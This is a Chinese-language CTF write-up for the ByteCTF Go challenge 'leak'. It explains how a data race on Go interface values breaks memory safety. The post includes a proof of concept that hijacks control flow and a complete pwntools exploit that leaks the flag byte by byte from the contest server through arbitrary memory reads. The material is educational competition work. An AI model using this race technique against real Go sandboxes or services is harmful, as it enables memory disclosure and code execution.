[ByteCTF] Pwn - leak (golang data race) - 赤道企鹅的博客

一道google题

golang相关

一些特性

golang默认是静态编译，而且系统ASLR不作用在goroutine自己实现和维护的栈上。从这题上看，main调用了hack，所以对hack的改动不会影响main中数据在栈上的偏移。只要先在本地计算出hack第一个变量和flag之间的偏移，就可以计算出远程环境中flag在栈上的位置。
goroutine的模型大概如下（知乎看到的）：
- M是系统线程，P是上下文，G是一个goroutine。具体实现请移步：https://www.zhihu.com/question/20862617
- 创建goroutine很容易，只需要go function_name()即可
题目不允许import包，但是builtin包中有println可以用来打印信息（打印变量地址或值）

go中的数据结构

实现本题要用到的数据结构不多，只介绍go中常用于data race的数据结构

更详细的资料请移步文档：https://studygolang.com/pkgdoc

Struct

基本定义如下：

type struct_name struct {
    name type
}

Go 语言中没有类的概念，因此在 Go 中结构体有着更为重要的地位。结构体是复合类型(composite types)，当需要定义一个类型，它由一系列属性组成，每个属性都有自己的类型和值的时候，就应该使用结构体，它把数据聚集在一起。

Interface

interface是一组method的集合，是duck-type programming的一种体现。接口做的事情就像是定义一个协议（规则），只要一台机器有洗衣服和甩干的功能，我就称它为洗衣机。不关心属性（数据），只关心行为（方法）。

接口（interface）也是一种类型。

一个对象只要全部实现了接口中的方法，那么就实现了这个接口。换句话说，接口就是一个需要实现的方法列表。

例子：

// Sayer 接口
type Sayer interface {
    say()
}

type dog struct {}

type cat struct {}

// dog实现了Sayer接口
func (d dog) say() {
    fmt.Println("汪汪汪")
}

// cat实现了Sayer接口
func (c cat) say() {
    fmt.Println("喵喵喵")
}

func main() {
    var x Sayer // 声明一个Sayer类型的变量x
    a := cat{}  // 实例化一个cat
    b := dog{}  // 实例化一个dog
    x = a       // 可以把cat实例直接赋值给x
    x.say()     // 喵喵喵
    x = b       // 可以把dog实例直接赋值给x
    x.say()     // 汪汪汪
}

可以看到，实现了接口方法的结构体变量可以赋值给接口变量，然后可以用该接口来调用被实现的方法。

值接收者和指针接收者实现接口的区别（这里不是很清楚，建议自己查）：

当值接收者实现接口：

func (d dog) move() {
    fmt.Println("狗会动")
}

func main() {
    var x Mover
    var wangcai = dog{} // 旺财是dog类型
    x = wangcai         // x可以接收dog类型
    var fugui = &dog{}  // 富贵是*dog类型
    x = fugui           // x可以接收*dog类型
    x.move()
}

可以发现：使用值接收者实现接口之后，不管是dog结构体还是结构体指针*dog类型的变量都可以赋值给该接口变量。因为Go语言中有对指针类型变量求值的语法糖，dog指针fugui内部会自动求值*fugui。

注意

当指针接收者实现接口：

func (d *dog) move() {
    fmt.Println("狗会动")
}
func main() {
    var x Mover
    var wangcai = dog{} // 旺财是dog类型
    x = wangcai         // x不可以接收dog类型
    var fugui = &dog{}  // 富贵是*dog类型
    x = fugui           // x可以接收*dog类型
}

此时实现Mover接口的是*dog类型，所以不能给x传入dog类型的wangcai，此时x只能存储*dog类型的值。

Slice

切片是数组的一个引用，因此切片是引用类型。但自身是结构体，值拷贝传递。

切片的底层数据结构：

type slice struct {  
    array unsafe.Pointer
    len   int
    cap   int
}

array是被引用的数组的指针，len是引用长度，cap是最大长度（也就是数组的长度）

Data race

比赛结束的时候查到这篇博客：http://wiki.m4p1e.com/article/getById/90

以及它的引用（讲得比较好，建议看这个）：https://blog.stalkr.net/2015/04/golang-data-races-to-break-memory-safety.html

这两篇博客解释了data race的原理

interface既然可以接收不同的实现了接口方法的接口题变量，那么它一定是一种更为抽象的数据结构，我将其粗略描述为如下：

type Interface struct{
    type **uintptr
    data **uintptr
}

所以在给接口变量传值的过程中实际上发生了两次数据转移操作，一次转移到type，一次转移到data。而这个转移操作并不是原子的。意味着，如果在一个goroutine中频繁对接口变量交替传值，在另一个goroutine中调用该接口的方法，就可能出现下面的情况：

（正常）type和data正好都是A或B struct的type和data
（异常）type和data分别是A和B struct的type和data，如下：

{
    type --> B type
    data --> A date --> value f
}

而调用接口时是通过判断type来确定方法的具体实现，这就出现了调用B实现的方法来操作A中数据的错误情况。

看博客中的例子就明白了：

package main

import (
    "fmt"
    "os"
    "runtime"
    "strconv"
)

func address(i interface{}) int {
    addr, err := strconv.ParseUint(fmt.Sprintf("%p", i), 0, 0)
    if err != nil {
        panic(err)
    }
    return int(addr)
}

type itf interface {
    X()
}

type safe struct {
    f *int
}

func (s safe) X() {}

type unsafe struct {
    f func()
}

func (u unsafe) X() {
    if u.f != nil {
        u.f()
    }
}

func win() {
    fmt.Println("win", i, j)
    os.Exit(1)
}

var i, j int

func main() {
    if runtime.NumCPU() < 2 {
        fmt.Println("need >= 2 CPUs")
        os.Exit(1)
    }
    var confused, good, bad itf
    pp := address(win)
    good = &safe{f: &pp}
    bad = &unsafe{}
    confused = good
    go func() {
        for {
            confused = bad
            func() {
                if i >= 0 { 
                    return
                }
                fmt.Println(confused)
            }()
            confused = good
            i++
        }
    }()
    for {
        confused.X()
        j++
    }
}

这里暂且不管作者实现的address这个小trick

在main中启动了一个goroutine，其中不断交叉对confused传值，其中bad是unsafe类型，good是safe类型。当条件竞争发生，confused的type指向bad，而data还是good。当原来的routine调用confused中的X方法时就会把good中的*int值当作函数指针来调用。如果控制这个值为我们想要的函数的地址如win，就可以实现程序流劫持。

赛题

题目分析

回到题目本身：

package main

func main() {
        flag := []int64{0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
        for i, v := range flag {
                flag[i] = v + 1
        }
        hack()
}

func hack() {
    /*code*/
}

地址泄露过程：
- 本地构造好EXP框架后，打印出flag首元素地址
- 去掉main中的println语句，然后打印hack中栈变量的地址
- 计算两地址差值作为偏移
- 打印出远程环境中hack栈变量的地址
- 用之前的偏移计算出flag首元素的地址
- 注意：
-- go版本一定要和远程对上
-- 虽然main中的println不影响flag的地址，但是会影响hack中栈变量的地址
-- 实测发现如果不把EXP框架构造好直接打印hack栈变量的地址计算出的偏移是不对的，也许编译期间有一些我不知道的机制在里面。

不做过多演示

接下来问题的关键在于泄露一个已知地址上的值应如何实现。

而golang在不使用unsafe包时不允许把已知的整数值地址，转换为指针进行读写操作。于是需要用条件竞争，来绕过这个限制，从而泄露出我们自定义地址保存的的值。

EXP：

from pwn import *
import time

code_base = '''
func hack(){
    println("exp start...")
    a := "123"
    println(&a) 
    var confused, good, bad itf
    pp := 0xc82003ddc0 - 0x8200117d8 + 0x8*{{offset}} 
    good = &safe{f: pp}
    bad = &unsafe{}
    confused = good    
    go func() {
        for {
            confused = bad
            func() {
                if i >= 0 {
                    return
                }
                println(confused)
            }()
            confused = good
            i++
        }
    }()
    for {
        confused.X()
        j++
    }
    println("exp stop...")
}

var i, j int

type safe struct {
    f int
}

type unsafe struct {
    f *int
}

type itf interface {
    X()
}

func (s safe) X() {}

func (u unsafe) X() {
    if u.f != nil {
        println("AAAA")
        println(*u.f)
    }
}
#'''

flag = ""

for i in range(45):
    p = remote("123.56.96.75", 30775)
    #context.log_level = "debug"
    p.recvuntil(b"[*] Now give me your code: \n")
    print(str())
    code = code_base.replace('{{offset}}', str(i))
    p.sendline(code)
    p.recvuntil(b"AAAA\n")
    chr_int = int(p.recvuntil(b"\n", drop=True), 10)
    flag += chr(chr_int - 1)
    p.close()
    print(flag)

print("flag:", flag)

单独看其中code_base部分

func hack(){
    println("exp start...")
    a := "123"
    println(&a) //用于地址泄露
    var confused, good, bad itf
    pp := 0xc82003ddc0 - 0x8200117d8 + 0x8*{{offset}} //远程环境下flag每一个元素的地址
    good = &safe{f: pp}
    bad = &unsafe{}
    confused = good    
    go func() {
        for {
            confused = bad
            func() {
                if i >= 0 {
                    return
                }
                println(confused)
            }()
            confused = good
            i++
        }
    }()
    for {
        confused.X()
        j++
    }
    println("exp stop...")
}

var i, j int

type safe struct {
    f int
}

type unsafe struct {
    f *int
}

type itf interface {
    X()
}

func (s safe) X() {}

func (u unsafe) X() {
    if u.f != nil {
        println("AAAA")
        println(*u.f)
    }
}

其中safe结构中有int类型的f，而unsafe结构中有*int类型的f。并且unsafe实现了接口itf的X方法，该方法输出f *int指针保存的值。在条件竞争时，如果confused中type为unsafe，而data为bad中的数据（创建bad的时候f被赋值为flag元素的地址），这时调用confused的X方法就会打印出flag元素地址中的值了。

最后python统一接收处理得出flag。

[ByteCTF] Pwn - leak (golang data race)